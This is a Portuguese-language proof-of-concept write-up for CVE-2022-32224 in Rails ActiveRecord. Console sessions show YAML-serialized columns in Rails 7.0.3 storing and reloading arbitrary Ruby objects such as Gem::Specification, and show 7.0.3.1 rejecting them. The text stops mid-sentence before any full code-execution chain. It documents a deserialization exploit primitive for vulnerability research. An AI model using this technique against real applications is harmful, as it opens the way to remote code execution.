
Exploração de prova de conceito para CVE-2022-32224: RCE de coluna serializada do Rails ActiveRecord. Demonstra desserialização YAML levando à instanciação arbitrária de classes no Rails 7.0.3.
bundle install
bin/rails db:migrate
bin/rails generate model User values:string
class User < ApplicationRecord
serialize :values, Array
end
❯ bundle exec rails c
Loading development environment (Rails 7.0.3.1)
irb(main):001:0> User.create(values: [16 * 16, "ffff"])
(0.6ms) SELECT sqlite_version(*)
TRANSACTION (0.0ms) begin transaction
User Create (0.6ms) INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?) [["values", "---\n- 256\n- ffff\n"], ["created_at", "2022-07-17 07:46:18.593587"], ["updated_at", "2022-07-17 07:46:18.593587"]]
TRANSACTION (0.4ms) commit transaction
=>
#<User:0x0000000105ee1a78
id: 3,
values: [256, "ffff"],
created_at: Sun, 17 Jul 2022 07:46:18.593587000 UTC +00:00,
updated_at: Sun, 17 Jul 2022 07:46:18.593587000 UTC +00:00>
irb(main):002:0> User.last.values
User Load (0.5ms) SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ? [["LIMIT", 1]]
=> [256, "ffff"]
Como Array é especificado como class_name_or_coder, não é possível passar uma string diretamente
irb(main):001:0> User.create(values: 'aaa')
(0.6ms) SELECT sqlite_version(*)
.../activerecord-7.0.3.1/lib/active_record/coders/yaml_column.rb:36:in `assert_valid_value': can't serialize `values`: was supposed to be a Array, but was a String. -- "aaa" (ActiveRecord::SerializationTypeMismatch)
irb(main):001:0> user = User.create!(values: ["aaa"])
(0.6ms) SELECT sqlite_version(*)
TRANSACTION (0.0ms) begin transaction
User Create (0.4ms) INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?) [["values", "---\n- aaa\n"], ["created_at", "2022-07-17 11:50:58.515968"], ["updated_at", "2022-07-17 11:50:58.515968"]]
TRANSACTION (0.4ms) commit transaction
=>
#<User:0x00000001057b65a0
...
irb(main):002:0> user.update_column(:values, ["aaaa"])
User Update (0.9ms) UPDATE "users" SET "values" = ? WHERE "users"."id" = ? [["values", "---\n- aaaa\n"], ["id", 8]]
=> true
irb(main):003:0> user.update_attribute(:values, ["fffff"])
TRANSACTION (0.1ms) begin transaction
User Update (0.5ms) UPDATE "users" SET "values" = ?, "updated_at" = ? WHERE "users"."id" = ? [["values", "---\n- fffff\n"], ["updated_at", "2022-07-17 11:52:01.795259"], ["id", 8]]
TRANSACTION (1.0ms) commit transaction
=> true
irb(main):004:0> user.update(values: ["aaaddd"])
TRANSACTION (0.1ms) begin transaction
User Update (0.7ms) UPDATE "users" SET "values" = ?, "updated_at" = ? WHERE "users"."id" = ? [["values", "---\n- aaaddd\n"], ["updated_at", "2022-07-17 11:52:25.306288"], ["id", 8]]
TRANSACTION (1.1ms) commit transaction
=> true
", ' e quebras de linhairb(main):001:0> User.create(values: ["'", '"', {'"' => [{"aaa" => "aa\na\r"}]}])
(0.6ms) SELECT sqlite_version(*)
TRANSACTION (0.0ms) begin transaction
User Create (0.7ms) INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?) [["values", "---\n- \"'\"\n- \"\\\"\"\n- \"\\\"\":\n - aaa: \"aa\\na\\r\"\n"], ["created_at", "2022-07-17 07:50:43.091916"], ["updated_at", "2022-07-17 07:50:43.091916"]]
TRANSACTION (0.4ms) commit transaction
=>
#<User:0x000000010dfb3cc8
id: 4,
values: ["'", "\"", {"\""=>[{"aaa"=>"aa\na\r"}]}],
created_at: Sun, 17 Jul 2022 07:50:43.091916000 UTC +00:00,
updated_at: Sun, 17 Jul 2022 07:50:43.091916000 UTC +00:00>
irb(main):002:0> User.last.values
User Load (0.4ms) SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ? [["LIMIT", 1]]
=> ["'", "\"", {"\""=>[{"aaa"=>"aa\na\r"}]}]
No 7.0.3, é possível salvar qualquer classe por meio da serialização e desserializá-la no momento da leitura
❯ bundle exec rails c
Loading development environment (Rails 7.0.3)
irb(main):001:0> gemspec = Gem::Specification.new("test")
=>
Gem::Specification.new do |s|
...
irb(main):002:0>
irb(main):003:0> user = User.create!(values: [gemspec])
(0.5ms) SELECT sqlite_version(*)
TRANSACTION (0.1ms) begin transaction
User Create (0.4ms) INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?) [["values", "---\n- !ruby/object:Gem::Specification\n name: test\n version:\n platform: ruby\n authors: []\n autorequire:\n bindir: bin\n cert_chain: []\n date: 2022-07-17 00:00:00.000000000 Z\n dependencies: []\n description:\n email:\n executables: []\n extensions: []\n extra_rdoc_files: []\n files: []\n homepage:\n licenses: []\n metadata: {}\n post_install_message:\n rdoc_options: []\n require_paths:\n - lib\n required_ruby_version: !ruby/object:Gem::Requirement\n requirements:\n - &1\n - \">=\"\n - !ruby/object:Gem::Version\n version: '0'\n required_rubygems_version: !ruby/object:Gem::Requirement\n requirements:\n - *1\n requirements: []\n rubygems_version: 3.3.7\n signing_key:\n specification_version: 4\n summary:\n test_files: []\n"], ["created_at", "2022-07-17 12:08:19.272191"], ["updated_at", "2022-07-17 12:08:19.272191"]]
TRANSACTION (0.9ms) commit transaction
=>
#<User:0x00000001171ea3a8
...
irb(main):004:0>
irb(main):005:0> User.last.values
User Load (0.3ms) SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ? [["LIMIT", 1]]
=>
[Gem::Specification.new do |s|
s.name = "test"
s.version = nil
s.installed_by_version = Gem::Version.new("0")
s.date = Time.utc(2022, 7, 17)
s.require_paths = ["lib"]
s.rubygems_version = "3.3.7"
s.specification_version = 4
s.summary = nil
end]
No 7.0.3.1, tanto o salvamento quanto a leitura resultam em erro
❯ bundle exec rails c
Loading development environment (Rails 7.0.3.1)
irb(main):001:0> User.last.values
(1.0ms) SELECT sqlite_version(*)
User Load (0.4ms) SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ? [["LIMIT", 1]]
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)
irb(main):002:0> gemspec = Gem::Specification.new("test")
=>
Gem::Specification.new do |s|
...
irb(main):003:0> user = User.create!(values: [gemspec])
TRANSACTION (0.1ms) begin transaction
TRANSACTION (0.0ms) rollback transaction
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)
Mesmo no 7.0.3, tentar salvar uma instância de ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gera erro e não funciona
.../psych/visitors/emitter.rb:32:in `scalar': wrong argument type ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy (expected String) (TypeError)
No 7.0.3, é possível salvar